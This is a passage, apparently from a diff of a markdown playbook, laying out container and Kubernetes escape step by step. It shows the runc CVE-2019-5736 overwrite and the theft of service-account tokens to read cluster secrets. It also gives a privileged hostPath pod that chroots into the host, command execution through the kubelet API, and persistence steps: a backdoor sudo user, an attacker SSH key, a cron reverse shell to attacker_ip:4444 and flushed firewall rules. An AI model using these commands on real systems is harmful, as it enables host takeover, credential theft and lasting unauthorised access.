# CVE-2019-5736 (runc < 1.0-rc6) — overwrite runc binary:
|
|
202
|
+
# Inside container with write access:
|
|
203
|
+
cat /proc/self/exe # points to runc binary on host
|
|
204
|
+
# Overwrite via /proc/self/exe symlink
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
---
|
|
208
|
+
|
|
209
|
+
## Phase 7: Kubernetes Escape
|
|
210
|
+
|
|
211
|
+
```bash
|
|
212
|
+
# Inside Kubernetes pod:
|
|
213
|
+
|
|
214
|
+
# Check service account token:
|
|
215
|
+
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
|
216
|
+
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
|
217
|
+
|
|
218
|
+
KUBE_API="https://kubernetes.default.svc"
|
|
219
|
+
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
|
220
|
+
|
|
221
|
+
# Query Kubernetes API:
|
|
222
|
+
curl -sk -H "Authorization: Bearer $TOKEN" "$KUBE_API/api/v1/namespaces"
|
|
223
|
+
curl -sk -H "Authorization: Bearer $TOKEN" "$KUBE_API/api/v1/secrets"
|
|
224
|
+
|
|
225
|
+
# List cluster-admin privileges:
|
|
226
|
+
curl -sk -H "Authorization: Bearer $TOKEN" \
|
|
227
|
+
"$KUBE_API/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
|
|
228
|
+
-X POST -H "Content-Type: application/json" \
|
|
229
|
+
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"*","resource":"*"}}}'
|
|
230
|
+
|
|
231
|
+
# If cluster-admin: create privileged pod for escape
|
|
232
|
+
kubectl --token="$TOKEN" --server="$KUBE_API" --insecure-skip-tls-verify \
|
|
233
|
+
run escape --image=ubuntu --privileged=true --restart=Never \
|
|
234
|
+
--overrides='{"spec":{"hostPID":true,"hostNetwork":true,"hostIPC":true,"volumes":[{"name":"host","hostPath":{"path":"/"}}],"containers":[{"name":"escape","image":"ubuntu","command":["/bin/bash","-c","chroot /mnt/host /bin/bash"],"volumeMounts":[{"name":"host","mountPath":"/mnt/host"}],"securityContext":{"privileged":true}}]}}' \
|
|
235
|
+
-- /bin/bash
|
|
236
|
+
|
|
237
|
+
# IDOR in kubelet API (port 10250):
|
|
238
|
+
curl -sk "https://<node-ip>:10250/pods"
|
|
239
|
+
curl -sk "https://<node-ip>:10250/run/<namespace>/<pod>/<container>" \
|
|
240
|
+
-d "cmd=id"
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
---
|
|
244
|
+
|
|
245
|
+
## Phase 8: Post-Escape Persistence
|
|
246
|
+
|
|
247
|
+
```bash
|
|
248
|
+
# Once on host as root:
|
|
249
|
+
|
|
250
|
+
# 1. Add backdoor user:
|
|
251
|
+
useradd -m -s /bin/bash -G sudo hacker
|
|
252
|
+
echo 'hacker:Password123!' | chpasswd
|
|
253
|
+
|
|
254
|
+
# 2. SSH key:
|
|
255
|
+
mkdir -p /root/.ssh
|
|
256
|
+
echo "ssh-rsa AAAA... attacker" >> /root/.ssh/authorized_keys
|
|
257
|
+
chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys
|
|
258
|
+
|
|
259
|
+
# 3. Cron reverse shell:
|
|
260
|
+
echo "*/5 * * * * root bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> /etc/cron.d/sysupdate
|
|
261
|
+
|
|
262
|
+
# 4. Disable iptables (if applicable):
|
|
263
|
+
iptables -F && iptables -X
|
|
264
|
+
|
|
265
|
+
# 5. Check for other containers / pivot:
|
|
266
|
+
docker ps -a # other containers on this host
|
|
267
|
+
docker network ls # internal networks
|
|
268
|
+
ip route # host routing table
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
---
|
|
272
|
+
|
|
273
|
+
## Quick Reference — Privilege Checks
|
|
274
|
+
|
|
275
|
+
```bash
|
|
276
|
+
# One-liner: check all container security:
|
|
277
|
+
echo "=== Capabilities ===" && capsh --print 2>/dev/null
|
|
278
|
+
echo "=== Privileged ===" && cat /proc/self/status | grep -E "^Cap"
|
|
279
|
+
echo "=== Docker socket ===" && ls -la /var/run/docker.sock 2>/dev/null
|
|
280
|
+
echo "=== Cgroup ===" && cat /proc/1/cgroup | head -5
|
|
281
|
+
echo "=== Mounts ===" && mount | grep -v "proc\|sys\|dev\|cgroup" | head -10
|
|
282
|
+
echo "=== Kernel ===" && uname -r
|
|
283
|
+
echo "=== Env ===" && env | grep -iE "DOCKER|KUBERNETES|CONTAINER"
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
## Pro Tips
|
|
289
|
+
|
|
290
|
+
1. **Docker socket = game over** — `/var/run/docker.sock` gives full host root without any exploit
|
|
291
|
+
2. **Privileged + nsenter** — `nsenter --target 1 --mount --uts --ipc --net --pid` = immediate host shell
|
|
292
|
+
3. **cgroup v1 escape** — works on most pre-2022 Docker setups without privileged mode (just SYS_ADMIN)
|
|
293
|
+
4. **k8s service account token** — try `curl $KUBE_API/api/v1/secrets` — often reveals other service credentials
|
|
294
|
+
5. **Check /proc/1/root** — symlink to host root filesystem accessible without mounting
|
|
295
|
+
6. **Writable host mounts** — `mount | grep 'on /etc\|on /var\|on /home'` — any bind mount from host is escape vector
|
|
296
|
+
|
|
297
|
+
## Summary
|
|
298
|
+
|
|
299
|
+
Container escape flow: `capsh --print` + `ls /var/run/docker.sock` + `mount | grep /` → identify vector (privileged/socket/cgroup/kernel CVE) → use appropriate technique → `chroot /mnt/host /bin/bash` or `nsenter --target 1 --all` → establish persistence on host.
|